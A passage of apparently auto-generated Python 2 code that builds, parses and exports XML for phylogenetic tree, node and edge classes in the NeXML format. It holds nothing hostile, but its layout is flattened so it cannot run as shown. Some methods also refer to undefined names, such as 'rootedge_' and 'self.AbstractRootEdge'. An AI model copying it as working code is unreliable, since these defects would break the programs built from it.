self).__init__(about, meta, label, id, ) if node is None: self.node = [] else: self.node = node self.rootedge = rootedge if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractTree.subclass: return AbstractTree.subclass(*args_, **kwargs_) else: return AbstractTree(*args_, **kwargs_) factory = staticmethod(factory) def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_rootedge(self): return self.rootedge def set_rootedge(self, rootedge): self.rootedge = rootedge def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractTree', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractTree') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractTree"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractTree'): super(AbstractTree, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractTree') def exportChildren(self, outfile, level, namespace_='', name_='AbstractTree', fromsubclass_=False): super(AbstractTree, self).exportChildren(outfile, level, namespace_, name_, True) for node_ in self.get_node(): node_.export(outfile, level, namespace_, name_='node') rootedge_.export(outfile, level, namespace_, name_='rootedge') for edge_ in self.get_edge(): edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.node or self.rootedge is not None or self.edge or self.set or super(AbstractTree, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractTree'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractTree, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractTree, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.AbstractNode(\n') node_.exportLiteral(outfile, level, name_='AbstractNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.AbstractRootEdge is not None: showIndent(outfile, level) outfile.write('AbstractRootEdge=model_.AbstractRootEdge(\n') self.AbstractRootEdge.exportLiteral(outfile, level) showIndent(outfile, level) outfile.write('),\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.AbstractEdge(\n') edge_.exportLiteral(outfile, level, name_='AbstractEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractTree, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'node': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <node> element') self.node.append(obj_) elif nodeName_ == 'rootedge': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <rootedge> element') self.set_rootedge(obj_) elif nodeName_ == 'edge': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <edge> element') self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractTree, self).buildChildren(child_, node, nodeName_, True) # end class AbstractTree class AbstractRootEdge(IDTagged): """The AbstractRootEdge complex type is a superclass for the edge that leads into a root, i.e. an edge with only a target attribute, but no source attribute. This type of edge is used for coalescent trees, where the initial lineage has a certain length before things start splitting up.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, length=None, target=None, valueOf_=None): super(AbstractRootEdge, self).__init__(about, meta, label, id, ) self.length = _cast(None, length) self.target = _cast(None, target) pass def factory(*args_, **kwargs_): if AbstractRootEdge.subclass: return AbstractRootEdge.subclass(*args_, **kwargs_) else: return AbstractRootEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_length(self): return self.length def set_length(self, length): self.length = length def get_target(self): return self.target def set_target(self, target): self.target = target def export(self, outfile, level, namespace_='', name_='AbstractRootEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractRootEdge') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractRootEdge"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractRootEdge'): super(AbstractRootEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractRootEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length=%s' % (quote_attrib(self.length), )) if self.target is not None and 'target' not in already_processed: already_processed.append('target') outfile.write(' target=%s' % (self.gds_format_string(quote_attrib(self.target).encode(ExternalEncoding), input_name='target'), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractRootEdge', fromsubclass_=False): super(AbstractRootEdge, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractRootEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractRootEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %s,\n' % (self.length,)) if self.target is not None and 'target' not in already_processed: already_processed.append('target') showIndent(outfile, level) outfile.write('target = "%s",\n' % (self.target,)) super(AbstractRootEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractRootEdge, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') self.length = value value = find_attr_value_('target', node) if value is not None and 'target' not in already_processed: already_processed.append('target') self.target = value super(AbstractRootEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractRootEdge, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractRootEdge class AbstractEdge(IDTagged): """The AbstractEdge superclass is what concrete edges inherit from by restriction. It represents an edge element much like that of GraphML, i.e. an element that connects node elements.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, source=None, length=None, target=None, valueOf_=None): super(AbstractEdge, self).__init__(about, meta, label, id, ) self.source = _cast(None, source) self.length = _cast(None, length) self.target = _cast(None, target) pass def factory(*args_, **kwargs_): if AbstractEdge.subclass: return AbstractEdge.subclass(*args_, **kwargs_) else: return AbstractEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_source(self): return self.source def set_source(self, source): self.source = source def get_length(self): return self.length def set_length(self, length): self.length = length def get_target(self): return self.target def set_target(self, target): self.target = target def export(self, outfile, level, namespace_='', name_='AbstractEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractEdge') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractEdge"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractEdge'): super(AbstractEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractEdge') if self.source is not None and 'source' not in already_processed: already_processed.append('source') outfile.write(' source=%s' % (self.gds_format_string(quote_attrib(self.source).encode(ExternalEncoding), input_name='source'), )) if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length=%s' % (quote_attrib(self.length), )) if self.target is not None and 'target' not in already_processed: already_processed.append('target') outfile.write(' target=%s' % (self.gds_format_string(quote_attrib(self.target).encode(ExternalEncoding), input_name='target'), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractEdge', fromsubclass_=False): super(AbstractEdge, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.source is not None and 'source' not in already_processed: already_processed.append('source') showIndent(outfile, level) outfile.write('source = "%s",\n' % (self.source,)) if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %s,\n' % (self.length,)) if self.target is not None and 'target' not in already_processed: already_processed.append('target') showIndent(outfile, level) outfile.write('target = "%s",\n' % (self.target,)) super(AbstractEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractEdge, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('source', node) if value is not None and 'source' not in already_processed: already_processed.append('source') self.source = value value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') self.length = value value = find_attr_value_('target', node) if value is not None and 'target' not in already_processed: already_processed.append('target') self.target = value super(AbstractEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractEdge, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractEdge class IntTree(AbstractTree): """A concrete tree implementation, with integer edge lengths.""" subclass = None superclass = AbstractTree def __init__(self, about=None, meta=None, label=None, id=None, node=None, rootedge=None, edge=None, set=None, valueOf_=None): super(IntTree, self).__init__(about, meta, label, id, node, rootedge, edge, set, ) if meta is None: self.meta = [] else: self.meta = meta if node is None: self.node = [] else: self.node = node self.rootedge = rootedge if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if IntTree.subclass: return IntTree.subclass(*args_, **kwargs_) else: return IntTree(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_rootedge(self): return self.rootedge def set_rootedge(self, rootedge): self.rootedge = rootedge def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='IntTree', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='IntTree') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='IntTree'): super(IntTree, self).exportAttributes(outfile, level, already_processed, namespace_, name_='IntTree') def exportChildren(self, outfile, level, namespace_='', name_='IntTree', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for node_ in self.node: node_.export(outfile, level, namespace_, name_='node') if self.rootedge: self.rootedge.export(outfile, level, namespace_, name_='rootedge') for edge_ in self.edge: edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.node or self.rootedge is not None or self.edge or self.set or super(IntTree, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='IntTree'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(IntTree, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(IntTree, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.TreeNode(\n') node_.exportLiteral(outfile, level, name_='TreeNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.rootedge is not None: showIndent(outfile, level) outfile.write('rootedge=model_.TreeIntRootEdge(\n') self.rootedge.exportLiteral(outfile, level, name_='rootedge') showIndent(outfile, level) outfile.write('),\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.TreeIntEdge(\n') edge_.exportLiteral(outfile, level, name_='TreeIntEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(IntTree, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'node': obj_ = TreeNode.factory() obj_.build(child_) self.node.append(obj_) elif nodeName_ == 'rootedge': obj_ = TreeIntRootEdge.factory() obj_.build(child_) self.set_rootedge(obj_) elif nodeName_ == 'edge': obj_ = TreeIntEdge.factory() obj_.build(child_) self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) # end class IntTree class FloatTree(AbstractTree): """A concrete tree implementation, with floating point edge lengths.""" subclass = None superclass = AbstractTree def __init__(self, about=None, meta=None, label=None, id=None, node=None, rootedge=None, edge=None, set=None, valueOf_=None): super(FloatTree, self).__init__(about, meta, label, id, node, rootedge, edge, set, ) if meta is None: self.meta = [] else: self.meta = meta if node is None: self.node = [] else: self.node = node self.rootedge = rootedge if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if FloatTree.subclass: return FloatTree.subclass(*args_, **kwargs_) else: return FloatTree(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_rootedge(self): return self.rootedge def set_rootedge(self, rootedge): self.rootedge = rootedge def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='FloatTree', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='FloatTree') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='FloatTree'): super(FloatTree, self).exportAttributes(outfile, level, already_processed, namespace_, name_='FloatTree') def exportChildren(self, outfile, level, namespace_='', name_='FloatTree', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for node_ in self.node: node_.export(outfile, level, namespace_, name_='node') if self.rootedge: self.rootedge.export(outfile, level, namespace_, name_='rootedge') for edge_ in self.edge: edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.node or self.rootedge is not None or self.edge or self.set or super(FloatTree, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='FloatTree'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(FloatTree, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(FloatTree, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.TreeNode(\n') node_.exportLiteral(outfile, level, name_='TreeNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.rootedge is not None: showIndent(outfile, level) outfile.write('rootedge=model_.TreeFloatRootEdge(\n') self.rootedge.exportLiteral(outfile, level, name_='rootedge') showIndent(outfile, level) outfile.write('),\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.TreeFloatEdge(\n') edge_.exportLiteral(outfile, level, name_='TreeFloatEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(FloatTree, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'node': obj_ = TreeNode.factory() obj_.build(child_) self.node.append(obj_) elif nodeName_ == 'rootedge': obj_ = TreeFloatRootEdge.factory() obj_.build(child_) self.set_rootedge(obj_) elif nodeName_ == 'edge': obj_ = TreeFloatEdge.factory() obj_.build(child_) self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) # end class FloatTree class TreeIntRootEdge(AbstractRootEdge): """A concrete root edge implementation, with int length.""" subclass = None superclass = AbstractRootEdge def __init__(self, about=None, meta=None, label=None, id=None, length=None, target=None, valueOf_=None): super(TreeIntRootEdge, self).__init__(about, meta, label, id, length, target, ) self.length = _cast(int, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if TreeIntRootEdge.subclass: return TreeIntRootEdge.subclass(*args_, **kwargs_) else: return TreeIntRootEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='TreeIntRootEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeIntRootEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeIntRootEdge'): super(TreeIntRootEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeIntRootEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_integer(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='TreeIntRootEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(TreeIntRootEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeIntRootEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %d,\n' % (self.length,)) super(TreeIntRootEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeIntRootEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) super(TreeIntRootEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class TreeIntRootEdge class TreeIntEdge(AbstractEdge): """A concrete edge implementation, with int length.""" subclass = None superclass = AbstractEdge def __init__(self, about=None, meta=None, label=None, id=None, source=None, length=None, target=None, valueOf_=None): super(TreeIntEdge, self).__init__(about, meta, label, id, source, length, target, ) self.length = _cast(int, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if TreeIntEdge.subclass: return TreeIntEdge.subclass(*args_, **kwargs_) else: return TreeIntEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='TreeIntEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeIntEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeIntEdge'): super(TreeIntEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeIntEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_integer(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='TreeIntEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(TreeIntEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeIntEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %d,\n' % (self.length,)) super(TreeIntEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeIntEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) super(TreeIntEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = 